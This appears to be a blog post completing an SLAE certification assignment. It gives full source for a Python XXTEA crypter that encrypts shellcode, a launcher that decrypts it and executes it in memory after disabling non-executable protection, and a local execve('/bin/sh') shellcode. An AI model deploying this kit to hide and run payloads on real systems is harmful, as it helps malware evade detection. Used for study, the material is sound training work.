Assignment #7: Create a custom crypter
The seventh and last assignment is to create a custom crypter like the one shown in the “crypters” video. I’m free to use any existing encryption schema and I can use any programming language.
The assignment was written on an Ubuntu Linux 18.04, with a Linux kernel 4.15 version.
Choosing the encryption scheme
For this last assignment I want to use something quick and reliable to encrypt any evil payload. I started looking at TEA for its characteristics and implementations.
I choose to use XXTEA that it is an evolution of original algorithm to correct all weaknesses found.
This is a symmetric block cipher and the key must be 16 bytes long.
Environment
I will use python as programming language and the xxtea package that it is available with the following command:
pip install xxtea
Encrypt
The default behaviour is to select a 16 bytes long random key and use xxtea library facilities to encrypt the default shellcode that is the standard execve() shellcode used in assignment 4.
; Filename: 	execve.nasm
; Author:	Paolo Perego <paolo@codiceinsicuro.it>
; Website:  	https://codiceinsicuro.it
; Blog post:  	https://codiceinsicuro.it/slae/
; Twitter:   	@thesp0nge
; SLAE-ID:    	1217
; Purpose:	This is the default payload for the customer encoder demo. It
; 		will execute "/bin/sh" using execve() system call.
global _start
section .text
_start:
	xor eax, eax		; init EAX to 0
	push eax		; pushing 0 to the stack to be used as NULL
				; ending character for /bin/sh string
	; execve is defined as #define __NR_execve 11 in
	; /usr/include/i386-linux-gnu/asm/unistd_32.h:
	;
	; system call prototype is:
        ; int execve(const char *filename, char *const argv[],
	; 		char *const envp[]);
	push 0x68732f2f		; pushing //bin/sh into the stack
	push 0x6e69622f		; the init double / is for alignment purpose
	mov ebx, esp		; pointer to *filename
	; I will optimize further my execve-stack shellcode. Since I don't care
	; about passing parameters to my shell and to pass the environment
	; pointer, I can initialize to zero both ECX and EDX registers.
	;
	; This will be equivalent to the call: execve("/bin/sh", 0, 0) that it
	; is legit.
	xor ecx, ecx
	xor edx, edx
	mov al, 0xb		; execve = 11
	int 0x80However, the crypter tool accepts also a custom encryption key and a custom shellcode to be used instead of the default one.
Here you can find the source code for the crypter script:
#!/usr/bin/env python
import random, string, getopt, xxtea, sys
def help():
    print sys.argv[0] + " [options]"
    print "Valid options:"
    print "\t-h, --help: show this help"
    print "\t-k, --key: specify the encryption key"
    print "\t-s, --shellcode: specify the shellcode to be used"
    return 0
def generate_key():
    k=''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase + string.digits) for _ in range(16));
    return k;
def encrypt(shellcode, key):
    enc = xxtea.encrypt(shellcode, key);
    return enc;
def main(argv):
    # Default behaviour is to generate a random key and to use an
    # execve("/bin/sh") shellcode
    key = generate_key();
    shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80";
    try:
        opts, args=getopt.getopt(argv, "hk:s:", ["help", "key", "shellcode"] )
    except getopt.GetoptError:
        help()
        sys.exit(1)
    for opt, arg in opts:
        if opt in ('-h', '--help'):
            help()
            sys.exit(0)
        elif opt in ('-k', '--key'):
            key=arg
            if (len(key) != 16):
                print "The encryption key must be 16 byte long"
                help()
                sys.exit(-2)
        elif opt in ('-s', '--shellcode'):
            shellcode=arg.replace('\\x', '').decode('hex')
    print "key: " + key;
    enc = encrypt(shellcode, key)
    sys.stdout.write("encrypted shellcode: \\x");
    sys.stdout.flush();
    print '\\x'.join(map("%2.2x".__mod__, map(ord, enc)));
if __name__ == "__main__":
    main(sys.argv[1:])Decrypt and launch
The launcher script is responsible for decrypting a given payload using a given decryption key. It may be redundant to recall but, since XXTEA is a Symmetric Cryptography algorithm, the decryption key is the one used to crypt the shellcode.
#!/usr/bin/env python
# Got rid of SEGFAULT using the solution provider here:
# https://stackoverflow.com/questions/19326409/python-ctype-segmentation-fault
import random, string
import xxtea
import sys, time
import getopt
import fileinput
from ctypes import *
def help():
    print sys.argv[0] + " [options]"
    print "Valid options:"
    print "\t-h, --help: show this help"
    print "\t-k, --key: specify the decryption key"
    print "\t-e, --encrypted-shellcode: specify the encrypted payload"
    return 0
def decrypt(enc, key):
    return xxtea.decrypt(enc, key)
def main(argv):
    key = ""
    enc = ""
    try:
        opts, args=getopt.getopt(argv, "hk:e:", ["help", "key", "encrypted-shellcode"] )
    except getopt.GetoptError:
        help()
        sys.exit(1)
    for opt, arg in opts:
        if opt in ('-h', '--help'):
            help()
            sys.exit(0)
        elif opt in ('-k', '--key'):
            key=arg
        elif opt in ('-e', '--encrypted-shellcode'):
            enc = arg
    if not key:
        print "Please specify a decryption key using the -k flag";
        help();
        sys.exit(-2);
    if not enc:
        print "Please specify a payload to decrypt using the -e flag";
        help();
        sys.exit(-3);
    enc_b= enc.replace('\\x', '').decode('hex')
    shellcode_data=decrypt(enc_b, key);
    sys.stdout.write("decrypted shellcode: \\x")
    sys.stdout.flush()
    print '\\x'.join(map("%2.2x".__mod__, map(ord, shellcode_data)))
    print "launching the shellcode..."
    shellcode=create_string_buffer(shellcode_data)
    function  = cast(shellcode, CFUNCTYPE(None))
    addr = cast(function, c_void_p).value
    libc = CDLL('libc.so.6')
    pagesize = libc.getpagesize()
    addr_page = (addr // pagesize) * pagesize
    for page_start in range(addr_page, addr+len(shellcode_data), pagesize):
        assert libc.mprotect(page_start, pagesize, 0x7) == 0
    function()
if __name__ == "__main__":
    main(sys.argv[1:])Launching the shellcode is really hard stuff. I’ve to fight against tons of SEGFAULTS and this post saved me in getting rid of non executable bit protection for memory regions: https://stackoverflow.com/questions/19326409/python-ctype-segmentation-fault.
See it in action:
SLAE Exam Statement
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-1217
(Updated: )
Vuoi aiutarmi a portare avanti il progetto Codice Insicuro con una donazione? Fantastico, allora non ti basta che premere il pulsante qui sotto.
Supporta il progetto 
                         
                         
                         Non perdere neanche un post,
   Non perdere neanche un post,